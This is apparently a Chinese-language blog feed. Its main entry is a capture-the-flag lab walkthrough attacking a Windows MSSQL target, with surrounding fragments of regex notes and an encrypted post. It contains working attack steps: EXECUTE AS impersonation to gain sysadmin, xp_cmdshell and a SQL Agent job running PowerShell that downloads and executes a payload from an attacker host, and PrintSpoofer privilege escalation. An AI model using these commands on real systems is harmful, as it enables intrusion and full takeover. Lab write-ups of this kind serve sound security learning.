python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">re.sub(pattern,repl,string) 替换指定字符</span><br><span class="line"></span><br><span class="line">re.<span class="keyword">match</span>(pattern,string)    匹配指定字符 匹配开头的字符</span><br><span class="line"></span><br><span class="line">re.research(pattern,string) 匹配指定字符 匹配全部字符</span><br><span class="line"></span><br><span class="line">re.findall(pattern,string)  找指定字符</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">re.escape(<span class="string">r&quot;C:\123\123.txt&quot;</span>) 自动转义</span><br><span class="line"></span><br><span class="line"><span class="comment"># ^ 开始符号</span></span><br><span class="line"><span class="comment"># $ 结束符号</span></span><br><span class="line"><span class="comment"># . 匹配换行符以外的字符</span></span><br><span class="line"><span class="comment">#\d 数字&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h1 id="JAVA"><a href="#JAVA" class="headerlink" title="JAVA"></a>JAVA</h1><h2 id="流读写"><a href="#流读写" class="headerlink" title="流读写"></a>流读写</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Pyhon&quot;&gt;&lt;a href=&quot;#Pyhon&quot; class=&quot;headerlink&quot; title=&quot;Pyhon&quot;&gt;&lt;/a&gt;Pyhon&lt;/h1&gt;&lt;h2 id=&quot;并发处理&quot;&gt;&lt;a href=&quot;#并发处理&quot; class=&quot;headerlink&quot; title=&quot;并发处理&quot;</summary>
      
    
    
    
    <category term="python" scheme="http://example.com/categories/python/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="python学习" scheme="http://example.com/tags/python%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>faker靶机复现</title>
    <link href="http://example.com/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/"/>
    <id>http://example.com/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/</id>
    <published>2026-01-13T11:52:19.000Z</published>
    <updated>2026-02-08T07:14:28.100Z</updated>
    
    <content type="html"><![CDATA[<h2 id="文章说明"><a href="#文章说明" class="headerlink" title="文章说明"></a>文章说明</h2><p>该篇文章首发于先知社区,原文在这里</p><p><a href="https://xz.aliyun.com/news/91181">maze-sec团队 faker靶机复现</a></p><p>当然原作者就是我，文章已经投到先知上面了，所以说明一下</p><h2 id="faker靶机复现"><a href="#faker靶机复现" class="headerlink" title="faker靶机复现"></a>faker靶机复现</h2><p>靶机提示</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">提示：初始凭证db-user:whoami</span><br><span class="line">提示：user的flag在c:/根目录下</span><br></pre></td></tr></table></figure><p>因为这台靶机有段时间了 而且是windows的</p><p>所以靶机的账号密码要提前修改一下</p><p>提示里面刚好有aksk</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113230824434.png" alt="image-20260113230824434"></p><p>登录一下然后修改密码</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113230851857.png" alt="image-20260113230851857"></p><p>提示过期了 所以需要修改一下</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113230931857.png" alt="image-20260113230931857"></p><p>更改成功</p><p>现在aksk是</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">db-user:abc!@#123</span><br></pre></td></tr></table></figure><h2 id="端口扫描"><a href="#端口扫描" class="headerlink" title="端口扫描"></a>端口扫描</h2><p>先简单扫一下端口</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sn 192.168.20.0/24</span><br></pre></td></tr></table></figure><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113231027876.png" alt="image-20260113231027876"></p><p>得到目标靶机ip为192.168.20.137</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -T4 -A -v 192.168.20.137</span><br></pre></td></tr></table></figure><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113231234349.png" alt="image-20260113231234349"></p><p>发现存mssql服务 端口为1433</p><p>还得到了靶机名与域名等信息</p><p>我们现在就用提示给的aksk去授权登录mssql服务</p><h2 id="测试mssql"><a href="#测试mssql" class="headerlink" title="测试mssql"></a>测试mssql</h2><p>使用imapacket工具中的mssqlclient进行连接</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">impacket-mssqlclient db-user@192.168.20.137 -windows-auth</span><br></pre></td></tr></table></figure><p>记得一定要跟上-windows-auth</p><p>因为提示给的aksk是window账号 不是mssql服务的数据库账号</p><p>所以需要通过window账号授权登录</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113231612140.png" alt="image-20260113231612140"></p><p>成功登上mssql服务</p><p>这里的密码是我们自己修改后的密码</p><p>如果没修改的话是登不上去的</p><hr><p>查看当前数据库并查看是否开启了<strong>trustworthy</strong></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">select name,suser_name(owner_sid),is_trustworthy_on from sys.databases</span><br></pre></td></tr></table></figure><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113231825572.png" alt="image-20260113231825572"></p><p>可以发现有2个数据库开启了trustworthy</p><h3 id="什么是trustworthy"><a href="#什么是trustworthy" class="headerlink" title="什么是trustworthy"></a>什么是trustworthy</h3><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113232016140.png" alt="image-20260113232016140"></p><p>这是一个sqlserver的一个属性</p><p>如果开启了这个 就可以访问到外部资源 简单来说就可以使用某些函数或者模块来命令执行访问计算机中的资源 不仅仅是数据库中的资源</p><p>当然前提是我们操作的用户得是sysadmin用户</p><h2 id="user思路"><a href="#user思路" class="headerlink" title="user思路"></a>user思路</h2><p>那么getshell的思路就来了 我们需要一个有sysadmin权限的用户来开启 xp_cmdshell模块</p><p>然后使用 xp_cmdshell进行getshell</p><p>那么我们要怎么获得有sysadmin权限的用户呢</p><p>在mssql中 sysadmin角色登录到数据库中映射的用户默认都是dbo用户</p><p>这个dbo的数据库用户可能拥有sysadmin权限</p><p>我们先看看faker数据库中的用户</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use faker</span><br></pre></td></tr></table></figure><p>切换到faker数据库</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113232647987.png" alt="image-20260113232647987"></p><p>查看该数据库中的各类权限是否有对应的用户拥有</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT DP1.name AS DatabaseRoleName, isnull(DP2.name, &#x27;No members&#x27;) AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = &#x27;R&#x27; ORDER BY DP1.name</span><br></pre></td></tr></table></figure><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113232817548.png" alt="image-20260113232817548"></p><p>不难看出 我们的db-user用户有db_owner权限</p><p>还有一个dbo用户</p><p>因为我们有db_owner权限 所以我们可以切换当前上下文用户</p><p>我们使用execute as user语句进行上下文切换 也就是切换当前数据库用户</p><p>我们将当前数据库用户切换为dbo 查看这个用户是否拥有sysadmin权限</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">execute as user=&#x27;dbo&#x27;</span><br><span class="line">select is_srvrolemember(&#x27;sysadmin&#x27;);</span><br></pre></td></tr></table></figure><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113233703738.png" alt="image-20260113233703738"></p><p>切换成功并且有sysadmin权限</p><p>那么我们就可以开启xp_cmdshell来提权了</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">enable_xp_cmdshell</span><br><span class="line">xp_cmdshell powershell iex (iwr http://192.168.20.132/muma.ps1 -UseBasicParsing)</span><br></pre></td></tr></table></figure><p>开启监听</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113235737391.png" alt="image-20260113235737391"></p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113235854739.png" alt="image-20260113235854739"></p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260113235834733.png" alt="image-20260113235834733"></p><p>成功拿到shell</p><p>根据提示得到flag</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114000317346.png" alt="image-20260114000317346"></p><h2 id="root"><a href="#root" class="headerlink" title="root"></a>root</h2><p>在user的flag里面有一个提示</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">agent is runing</span><br></pre></td></tr></table></figure><p>问问ai</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114000431896.png" alt="image-20260114000431896"></p><p>提示我们是sqlserver agent 是sqlserver的代理服务</p><p>我们先查看得到的shell的用户有什么权限</p><p>再看之前 我们先把这个shell弹到别处优化一下</p><p>我这里直接弹到vshell上面了</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114000939121.png" alt="image-20260114000939121"></p><p>开启vshell并生成一个马子</p><p>在靶机中下载木马并执行</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114001035836.png" alt="image-20260114001035836"></p><p>成功上线</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114001113794.png" alt="image-20260114001113794"></p><p>我们继续之前的操作</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114001322297.png" alt="image-20260114001322297"></p><p>这个系统用户没什么权限</p><p>那么我们只能去看看那个agent</p><p>回到mssql中 看看有没有这个服务</p><p>切换到master这个系统级的数据库并查询</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">use master; select servicename, service_account, status, status_desc FROM sys.dm_server_services;</span><br></pre></td></tr></table></figure><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114002041952.png" alt="image-20260114002041952"></p><p>确实存在这个代理服务</p><p>那么我们现在通过设定定时任务去弹shell</p><p>因为我们有dbo这个sysadmin这个角色 所有可以直接设定任务</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">msdb数据库是sqlserver的<span class="string">&quot;任务调度中心&quot;</span> 我们切换到msdb数据库</span></span><br><span class="line">use msdb;</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">创建一个定时任务任务</span></span><br><span class="line">exec dbo.sp_add_job @job_name = N&#x27;1_job&#x27;;</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">配置任务步骤 使用powershell去执行commadn中的内容</span></span><br><span class="line">exec sp_add_jobstep @job_name = N&#x27;1_job&#x27;, @step_name = N&#x27;test1&#x27;, @subsystem = N&#x27;PowerShell&#x27;, @command = N&#x27;powershell -nop -w hidden -c &quot;IEX(New-Object Net.WebClient).DownloadString(&#x27;&#x27;http://192.168.20.132/muma.ps1&#x27;&#x27;)&quot;&#x27;, @retry_attempts = 1, @retry_interval = 3 ;</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">添加任务到代理服务器中</span></span><br><span class="line">exec dbo.sp_add_jobserver @job_name = N&#x27;1_job&#x27;;</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">立即执行该任务</span></span><br><span class="line">exec dbo.sp_start_job N&#x27;1_job&#x27;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114002523475.png" alt="image-20260114002523475"></p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114002601278.png" alt="image-20260114002601278"></p><p>成功得到shell</p><p>是另一个服务级用户</p><p>一样是传马然后弹到vshell上面</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114002949545.png" alt="image-20260114002949545"></p><p>有一个SeImpersonatePrivilege权限那么我们可以直接使用<strong>土豆提权</strong></p><h3 id="什么是土豆提权"><a href="#什么是土豆提权" class="headerlink" title="什么是土豆提权"></a>什么是土豆提权</h3><p>简单来说就是捕获ntml认证数据包 并篡改数据包的内容 获得system的token 从而以高权限用户那弹shell回来 最终效果就是得到system的shell</p><p>上传exp PrintSpoofer64.exe</p><p>只需要有SeImpersonatePrivilege权限就可以使用土豆提权</p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114003124845.png" alt="image-20260114003124845"></p><p><img src="/2026/01/13/faker%E9%9D%B6%E6%9C%BA%E5%A4%8D%E7%8E%B0/image-20260114003259515.png" alt="image-20260114003259515"></p><p>提权成功</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;文章说明&quot;&gt;&lt;a href=&quot;#文章说明&quot; class=&quot;headerlink&quot; title=&quot;文章说明&quot;&gt;&lt;/a&gt;文章说明&lt;/h2&gt;&lt;p&gt;该篇文章首发于先知社区,原文在这里&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/news/9</summary>
      
    
    
    
    <category term="靶机" scheme="http://example.com/categories/%E9%9D%B6%E6%9C%BA/"/>
    
    
    <category term="打靶" scheme="http://example.com/tags/%E6%89%93%E9%9D%B6/"/>
    
    <category term="wp" scheme="http://example.com/tags/wp/"/>
    
    <category term="mazesec" scheme="http://example.com/tags/mazesec/"/>
    
    <category term="windows" scheme="http://example.com/tags/windows/"/>
    
    <category term="域渗透" scheme="http://example.com/tags/%E5%9F%9F%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>数据库学习</title>
    <link href="http://example.com/2026/01/02/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AD%A6%E4%B9%A0/"/>
    <id>http://example.com/2026/01/02/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AD%A6%E4%B9%A0/</id>
    <published>2026-01-02T00:31:13.000Z</published>
    <updated>2026-06-02T14:13:42.721Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="41e97808ba543608fad49b438e548ed84431041d126843ebb861fb5dd39ab6fa">04fa8f8d5c902263ca67ed1bf49c5c193812601d5fa77f384de414415bed7239f0c65f60a453e36e61ee5cf8fed3ad9887844cb8d23ad7933c0255823f768312265c42c3e9f7242ccbbf1e56f0d8f7c3e18f90a958077ff9bed918afb9c1b8ebc2158a90d01b90a24c5c0b199036efc499c6d90d265c735ae6f13c222bfcaabd236a30ab0314dcca67baca5639f330cdb7c4f2b29603d21eedbf4903c6ddf7cdb56efc91daf007b4b5b4ad063669d88c28d52ccf0cabe21d38a2bb872b23a8b23a849facf19deabc7405e18699246e646fa53ae12087676c126bf53f49a0fab96cdb418b745e58a45ef1b785413add73b07fd175e4ee0d05ef7a2aea67a5fb5b3e3c9cc7e39730c7d1efd35b44ecff3abb76405e587af3890c54df05b6ff34bef75f20e84686a3fe65fc03170075944bb98b3cda59f90100bf212404c6adf5702e502d86902b6561141f7a21093e9f4c3b77c036f7356b5e1da216a97ffae809e1cc2453f11343776432be14a89c48741c4da73be63bcb39d62e9fa0c63cba88bcf7cc4a43d5e734b130171882b6857559442348caf54fc8c1b694ac4d03710cce0eafbaf03e27b371138431f92991ecebfd6d9f608b15c0fad6dfe624383adab58ca40565ba91731a39325885aa6334e5312b767e78380b2dc6aad5a4f32c3e46f68fa9348a160683f1fa0f007e49953eb3c31f1e0746ca2bc732a337d191d7d31d3ea420d70c5e1ed553619e6963a36225052b04d24c8f9d3e4acea39190fbf44009d030c69f29303e93af236775f870465007238a070c7a2bce3fede7b60fa41f772193782afbbd8411bc998318f00c04f4eb0f232219f68e828b29f0939462191fa7c9581d449122b439daa5a198f9e9f6615e923bd1c5fecc8b96ca3f0f58b1089262ebc43032cf794f2c4ba01bdf703f75540b92dfb13a49afd7e1eba2f254b83c1157427ba37c6488dfd0792f673926276e992bdfcf29a9c40ace64d087d5ab6baa5fb877e19630700ee3187c94f0b585bcc97b6c089bb93cb49c6390b4f5444c1d400c8ddc523043d70f483a0e92ed62ab476ae2482d9874f3138e1639f7e9c0c1d28f433007ef4a8c3041adcea0a0bc77ea89f14213c3ea67d0ed6a698f109709f3ae9cba344526a761e925b0ab982d7f9ff9414eb5f2cad65282c5c8412d99fbf7af52ac823879bbf8c3d666008ef0215bec4523aa3f06775ae883c89bc6afac27ec93720caf4d6e5523bb607b21be95cfc823545bdcf170e5b833ad091a88756bb5943024a6fdc37878041050e1618a70d45393bfd8e1730446fbfcc8e42226d025021265f201db53a45898ecfe1bbdd5d3cfe547c6b761fcf9c866eed86b03561e246b3926b0f7d4f28e1773dbec2d8dcdd66421b7967753041ed797ed3a97e5969ee07e39d325fe445d493612795cee6da6fb6c1073fc8383b1d0954ca0340a4915e55e8d36970362cadd13336f405ef5baaa9279972764d4197c6b9a516612ae290618f17d4fa3b3d3cdc1d8698d44432f39b1d918a5917945988578c24d6f80220e421b5acf3abfa6740537406d9ce5ff870e3f53d3c7b12c634e5d3cfa81323271f890e827607ab6d211824c9cfd2d5c41b835cea67970b528554a3069f98859cf60c2d7068e6a39c82077e6d8e974e2d9c2140ee9006778ed27aa1541cab2969686209cddffa1102bfbc6190119f96d313780cc4aa35da952b7760183eed2a5f0bc951e50bd4e2b7a43672bde1f228c7985afdd72bc0b0653691a7711007fa25a0b69dcca5832e69aaba1ce5006b11bffddfda789db022937f62f82e17efd66e6d195781e5511b480e21cce6852def4053882cc8cb51915472d10240721569fa66f77e69ef8d5c33933ad62c4c12779923940d4612227725d631b1928123c71d106687775573a063603e658489f0ffada1fc376029a6a3792d2e80af3fa9ec1df0f96360b9b18002fa2180fffdab24c44b5641fe903be471c6dab4dbfe29acd668c4cf52aad20048dce278b8ad9d0e4fab0ca5fce0823e4ac6ae4964a646dcfba5946f50e8e97142692c0a48b5e370601d3bc156846e2d556ae4dea19bb568265d0010d47e6e73496f966a73811ed932cb337f8dbe85135fa08a888686dd328f7ec45d96c6665af37053cce817a2cbd9417acac4cc12541e7c74d566fd93167d81ac41b9ebfcfe7a73e5f8169733afbb8a4a3620c82eaf6aa6abb475775284f9082c1aca7005830792b69f0c71cf72a567a0f99094d95c64019eff4e033b31e7ca52689626c575ff4d6622ab6211cd30663b3f7f8aa7491192f5eac37d5ac3f06da12ec3bbc83de41971b95705dae87adb6d6f0adf52b184b9fa3198b634b8cd56729e571fb44570952059afd3fca890938b16b54c5bf5ac8247108e818a758ac088966151ff583805f963f38d4842f7386f0ff468d821b3b64f0a063dd31249fe471ab3ab2b2afc9ed560e43770571c6e33220fe0a924617dbe7ec3ba57a9b88798303031f8b4c5d24842ead2d0023112fd7028be55b2f272e8f357dafa113d2b4fa57261b65ebdcc9ebf577366ef9b09e75d46f26680b0f05dacea81c8d59b9bb94aa40524224db2ce14c1d24d53b348936cd9be5434d240739ac9a77d07c96fa75eef9898b41e8f14f5218e2c6836b94fdbc75394dd14f9dfd1bcf779b452914a3e32594a6d998d8e9a341cae6a9b88323dea2bbea5435819855f4840690129e8cd6e9e20d8ad4a81d5fe1b663d26d9b89f63d11ffc45017a7bb3ae93641ca516c4605375b819e92def9a16c39ea440bed971e2a27d80883bb83b91aa1012c3ba05ccce23cb0433767ecc8364ad07d68fb8e40dc684ff688fb4a79736272ac5f21ea48e017106337c1c45f9a4f9062d819183583a72f9c177d12097ed1c75f4f9cbdd0a2b84e14f7a2c4a12bfefd1b16a0f4b2099d4289c8f7c371cc618f3f2dadfb6569e9b66dca4bf872bc9d35a79f61488ec04eec5b6f2457dc582ac763a0dc4521c66bbfe0713cc87ce52175b3b29640b74b429146ddcc4e08ccd181c2e5e1f10bf7bd087c1244992e6767d3a1a91498e99253d636d258108b92d176b44826a6165ea0ccaa375840f03075e867bb45df2b4e311a71396923c7f4b10d9cf38f14b9ed8c4b13d9a7949e8c4c31a3ed8a9f37372a19f8d7a3411ef4acc7c8d1d0eedb5873490565e53d0c2e02e5459c6cbbd3b61f610499b7182ac30d5254d43e895a82956e7d91426cb684885318f0575bfb513959a3d37871a5c2459343f597f0260cccd99caf8ee4f51b276b929ad4e9b25d6c74068d690323629359004c6bb0a92406a370c49409aa1f59322d0c0df556010e9401a50924ce00710f4a2f1ffa6f6a428142ee30ed898c41a6e8ff5049c0d7ba1774034ee1ad0c6d61f7fc13bfd9a2f4bb53cb2b74f498c6ec400f4529beb75ad429e7512006582cf98974c9692b291d0942200e4f4be86cf713864e1c9679664f07e208ce50ae3f787e0a56d1ec9f509b97e4fcaa9d07449d841bb9df9497fccad13cfa915c2956e2c2858136d498f657029239e2690e270f14af440792c024156243340209edf5fd66af35c12fbb342647d93dbbdb60c0dd71ae1396c3300e097592e23e7cf9ad35e705f5ce6114f6ac1ecd9d0827db835697f2c816d8c18b87cd15b741658281e09e5c326a7d1d9c48fbd49680d2c69e06763e72ab92fcaf4cbf10153e109b59c37023760423a0f80631b195c1c39c6e8880a24bb613eb22e04ca1209ef40ba6a4afd307e4b3c37e9be8dfe0461dfb4b6ab18b69cb39cb3c673591958ffee84d4329bda6111c09d494f34bc869745c799162205cf6ed281a3dc61359ec5c97a87185ef240ba4609e03d927ec51688fec697f015ea6ae492b8a4615fba361e59ef5466ac015f544cc70ab3c63002128d87814e0e6169432da86df42159a38769b8e5281217eb1a07f67f111522b8623633ad2ec51fd67ce23901ffecdf93a0662171085683f9fca928f569c6e4301b4b1a105b97b70e4fa18de0aea109997e4e789c556cb96334342a359c550e0f4f06b765937103dca2a98d520e42e84397b6b9bce1d1efd5c3452156d82326599ae56244d9053f7e6ad3fd7be2a4c3317cbe7b8b1311b02cf4d9429050279ee506d7ce8c4d936187cb79f4b8b9809429fdfcf34c39fea32e84ccaf9a90e7fd2652deaf9b9db6ed7798c96b88888c3ac8f575a7f497a19fc2d9690a20e5c0790ecf00d9a3df88fd99ba2ad16343209b46054a42ae250dc6888440ed52adfb11fade7f8459a9936c3e5875ec451652bac08af5811f1fcd294fa4abc7ad967306b9506aead663882d433114b78635246c20fe9f2982b6ea906616e99439e78e665d062faff019936fc35e365fdd47100756736652c65b6fcc0a2b337ea45da0cbaa87be0d6fd12a081ae4dc9183355626a072726ad56f992a5ec442e2e6b75932d0650cd8e9736e0fd0d94eeb0f7fd8e63036979a640e1ee90f0b51f132330aa1e6a6f7550e86ffb4c7f80f2e7bdb68334b626286a30891827c5fbdcfc071b89b35556a4c28f17e102b3cf1efa37755c44abedaf5489e9e390c9ae785e487f1523c15c8b649c5f0d2636e0c8f56a6cc065b6ceec0e0a7cb70006ac4c99d018fe17b3296ebbeb9410346a370a325b1fb3719fa149b19ca38e2f4c8d727b648cf751a7634e8f29c3ba423984155996e8597951b6f0bc914ccf16960cd02f55908ace597db9b31148ba8dfaf3488f852a9239f2d671252c9c30076c5f388a364dee7985b997e6987616f2f71ade403b53cc73f362a5b3de597dd3916e2bd5b633a287b894f2fd9eac961cd21d8e826c8742a44ff0a525ce8f1ccf1b6501a5523ae9411ef8fffa7b853eedfd6b58f1670ebb633a9db9fb6b582e8d659737bf104c5d951f2d57f54d65ee52b4d11241ed00df68e21de285b7b2f41003c285e73c8a52a62ef7375fa6b6d45d459df2056e161aeb3bafee3155ba4e33cef49bcf76093c71c2e57d0bcebed8b1da2e117a712b1653547a704c9669610e0cd03cbec1f6e8e35070976ef484a39cc3184378737b947765c651efabf0fdd1ac9426880d2baa2edb1ce6e08060d8bed75e12cbd97bf0f296260d9275657838753d5c1f7f05a362d509b4e92e7851259e7997efd6ea02dcfc494aae842474b5c121a3ed9104e50074cae09b2464a1bc7476e4d131364df7b7d09a9e162420e15e99b6a53b4568f0a29397a0170e4f6130695e037aa249b7f0a37acdf5d1d074a6939043348d942481a884558cf899711f37c149893b745d4f04409d61dae54a25d9a09846d81cf1add958814c22a9f35ec7a1c4f8cab692fc0052f87b4cbddd3521aeb51c66b589365ab423bb4aacb70ed27a2bd06b7dcae73bcf4586801cbb0ae550cae948d4424c72aa187666b8d50b541024d8b4cd8b16dd1f3aff0a956fede1563315ebf626085e239dc20d9abd5d635d18381defd93fb61057cbba9636af2aac6fec5c1627b670ed97b4d11eaa9466303a1ac7864927034a1ff3122c2db62f11e8d361723e0585486a7de4d61d78836b86c50c3941533553d2597722c3ddec9162c692a2a5b365207ef4ac8800c41cf5599c0c300b3c79de8999e4cbdffd05aca77ae4fe271a8150f2534cd575d1ca80e8ed2b769ed80530d1529fdd8a62c3e15effe50a7a94dab5ed6acef13ab980d3d2ef335861f42ea8ca1df4ec6b4e1a69c527ad040d28dff9a8ab48e8103e920916ba24f09c5417a5986590f347de25d56689aade60243bb999cba609838622cd2e4dd1543d936645e19050110275e359fadc0d8e9bf6354d07303100c2a2055cb058e3aafe8c3a219c83d6fce3daeb70116d5a1b1a7da692747ab433e1c564ae62e18428e01b4bf7e9503cd73ed6b754970dcab69cb7f550ea68fdbc221dd38849059d226b9282d2dfeaef35c16c3acc82f1f489bae7e049ad4c53566c1b16b7fcc965160bd0faf45bb68407b7567f671bbd293ff2c03c4df60ef3fce6a8bea993daf5e10b0db36db53d7309b8a6fd6291e6ebd720bf0971167d1b24ba3480821375ded760adf18ad65007b54a7df53c86046550ca7b8700f4503dd3b9d0fab9857614814a466cc4297f504d6b7158224cdc73e4045adb8ed7e4b2dbddc1e6209e250e95ecf97cdff19001f8a11303ef23908b3547a5922965e68b2577f9a3b90a97e0ee2d17f7cd8c971618a4f14e0cfd80d636a98c35fbae38c071a9e932f971d97a6c23fd9cc022039aa2e97ff709445c5c89745a843a5f878bf4936685e7b56ea7c5111f216ad3eda48c3ab74ebcd2f2d4c0f28461aaf49abb3973da274bc52d2987b2941a1d183b6a74a6a08226df7de56094d3879eed2b6ff8343531dffef85c373dabf41b453c57009dbad94a0c9f94ccda65ad9ca1f410b551abe3a4068cf6aa20eef4835c3eab45ab35ce311204b9d51297a20931afa2b6cf78f7af9508bbd0018d72b53a919b39c1628f6a937b72640a579203c191e8ab01153944c8e376db828ba63d818515efa058d36f6aecc7c963dcc74928b7eb2de960e0d4c9ceb5ca738e0e81bf513d298b886942569c335dfe0e7d2302fb6f822edf0b6a19f7b5264ff36b26f0e29afc4596dbf4a18d0ab0f61868611817148106c97e0fd712473b9039113195d93e26d0df054dfbe891cbf465edf0a0c631b5e4099e1239e395d0cfaca0cdbde06b8bd3b6b227dcbe37977d9ed9be33e2154ce491c0a16b88173caa044c2d80a22ad85300d8fe09544f3bd6fa681153d3aacd1f2f0001b1a0bf783b59274303ce5384ebf0e706d8ffff3612ca3b583b017848c69ce67a5f6cea03ff47ec6e5acc69596a822a99bef3600d22f1edb021d9e1b1a82de6a1480013d53b247966467af781d5ccf13eb6084dfeb2ed51582862f1920feb3e04925a2b7d61e6e83b4d111ea7dd1c62e88f82a940f416f84dc88ee9bfa35f3828163a3e2ab895477ca0dc68821d18014f25880d112609495fbb4f5d502352dc848a06ad31d312d340f7f87c94d7c4a23e54e2d7b7d0763196aa38d9977b46ab6154c040226c500c165dc88a79ebc63b2f7842920ad2929ecc0844c534a71a984ec00b94db29f144586aded5bf20dd033f10fc476d4424632b9a121990cd48e115ae5445df8f95e8394fa55f397d299d9e460c32c99acb3c1580aa0498e